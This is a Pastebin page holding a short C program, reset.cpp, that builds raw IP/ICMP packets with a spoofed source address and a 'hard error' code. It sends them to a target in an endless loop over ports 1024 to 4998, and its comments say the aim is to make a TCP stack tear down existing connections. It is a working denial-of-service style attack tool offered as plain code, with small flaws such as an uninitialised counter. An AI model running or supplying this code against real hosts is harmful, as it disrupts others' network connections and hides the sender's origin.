Advertisement
AbdRoufBUET

reset.cpp

Sep 7th, 2019
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.72 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/time.h>
  5. #include <netinet/ip.h>
  6. #include <netinet/ip_icmp.h>
  7. #include <unistd.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11.  
  12. typedef unsigned char u8;
  13. typedef unsigned short int u16;
  14.  
  15. unsigned short in_cksum(unsigned short *ptr, int nbytes)
  16. {
  17.     register long sum;
  18.     u_short oddbyte;
  19.     register u_short answer;
  20.  
  21.     sum = 0;
  22.     while (nbytes > 1) {
  23.         sum += *ptr++;
  24.         nbytes -= 2;
  25.     }
  26.  
  27.     if (nbytes == 1) {
  28.         oddbyte = 0;
  29.         *((u_char *) & oddbyte) = *(u_char *) ptr;
  30.         sum += oddbyte;
  31.     }
  32.  
  33.     sum = (sum >> 16) + (sum & 0xffff);
  34.     sum += (sum >> 16);
  35.     answer = ~sum;
  36.  
  37.     return (answer);
  38. }
  39.  
  40. void help(const char *p);
  41.  
  42. int main(int argc, char **argv)
  43. {
  44.    
  45.     if (argc < 3)
  46.     {
  47.         printf("usage: %s <source IP> <destination IP> [payload size]\n", argv[0]);
  48.         exit(0);
  49.     }
  50.      
  51.     unsigned long daddr;
  52.     unsigned long saddr;
  53.     int payload_size = 0, sent, sent_size;
  54.      
  55.     saddr = inet_addr(argv[1]);
  56.     daddr = inet_addr(argv[2]);
  57.      
  58.     if (argc > 3)
  59.     {
  60.         payload_size = atoi(argv[3]);
  61.     }
  62.      
  63.     //Raw socket - if you use IPPROTO_ICMP, then kernel will fill in the correct ICMP header checksum, if IPPROTO_RAW, then it wont
  64.     int sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  65.      
  66.     if (sockfd < 0)
  67.     {
  68.         perror("could not create socket");
  69.         return (0);
  70.     }
  71.      
  72.     int on = 1;
  73.      
  74.     // We shall provide IP headers
  75.     if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&on, sizeof (on)) == -1)
  76.     {
  77.         perror("setsockopt");
  78.         return (0);
  79.     }
  80.      
  81.     //allow socket to send datagrams to broadcast addresses
  82.     if (setsockopt (sockfd, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on)) == -1)
  83.     {
  84.         perror("setsockopt");
  85.         return (0);
  86.     }  
  87.      
  88.     //Calculate total packet size
  89.     int packet_size = sizeof (struct iphdr) + sizeof (struct icmphdr) + payload_size;
  90.     char *packet = (char *) malloc (packet_size);
  91.                    
  92.     if (!packet)
  93.     {
  94.         perror("out of memory");
  95.         close(sockfd);
  96.         return (0);
  97.     }
  98.      
  99.     //ip header
  100.     struct iphdr *ip = (struct iphdr *) packet;
  101.     struct icmphdr *icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));
  102.      
  103.     //zero out the packet buffer
  104.     memset (packet, 0, packet_size);
  105.  
  106.     ip->version = 4;
  107.     ip->ihl = 5;
  108.     ip->tos = 0;
  109.     ip->tot_len = htons (packet_size);
  110.     ip->id = rand ();
  111.     ip->frag_off = 0;
  112.     ip->ttl = 255;
  113.     ip->protocol = IPPROTO_ICMP;
  114.     ip->saddr = saddr;
  115.     ip->daddr = daddr;
  116.     //ip->check = in_cksum ((u16 *) ip, sizeof (struct iphdr));
  117.  
  118.     icmp->type = ICMP_ECHO;
  119.     /*
  120.     ------------------------------------------------------------------------------------------------------------------------------------------------
  121.     Code 2, 'protocol unreachable', code 3, 'port unreachable', and possibly code 4,
  122.     'fragmentation needed and don't fragment bit set' are all hard errors that if received can cause a TCP stack to tear down an existing connection.
  123.     (Code 4 is only a 'hard' error if Path MTU discovery is not implemented.)
  124.     ------------------------------------------------------------------------------------------------------------------------------------------------
  125.     */
  126.     icmp->code = 4; // so 4 is considered as hard error
  127.     icmp->un.echo.sequence = rand();
  128.     icmp->un.echo.id = rand();
  129.     icmp->checksum = 0;//checksum
  130.      
  131.     struct sockaddr_in servaddr;
  132.     servaddr.sin_family = AF_INET;
  133.     servaddr.sin_addr.s_addr = daddr;
  134.    
  135.     while(1){
  136.     for(int i = 1024; i < 4999 ;i++) // try connect port blindly
  137.     {
  138.         servaddr.sin_port = htons( i ); // here i is a port number
  139.         memset(&servaddr.sin_zero, 0, sizeof (servaddr.sin_zero));
  140.  
  141.         memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), rand() % 255, payload_size);
  142.          
  143.         //recalculate the icmp header checksum since we are filling the payload with random characters everytime
  144.         icmp->checksum = 0;
  145.         icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + payload_size);
  146.          
  147.         if ( (sent_size = sendto(sockfd, packet, packet_size, 0, (struct sockaddr*) & servaddr, sizeof (servaddr))) < 1)
  148.         {
  149.             perror("send failed\n");
  150.             break;
  151.         }
  152.         ++sent;
  153.         printf("%d packets sent\r", sent);
  154.         fflush(stdout);
  155.          
  156.         usleep(10000);  //microseconds
  157.     }
  158.     }
  159.      
  160.     free(packet);
  161.     close(sockfd);
  162.      
  163.     return (0);
  164. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement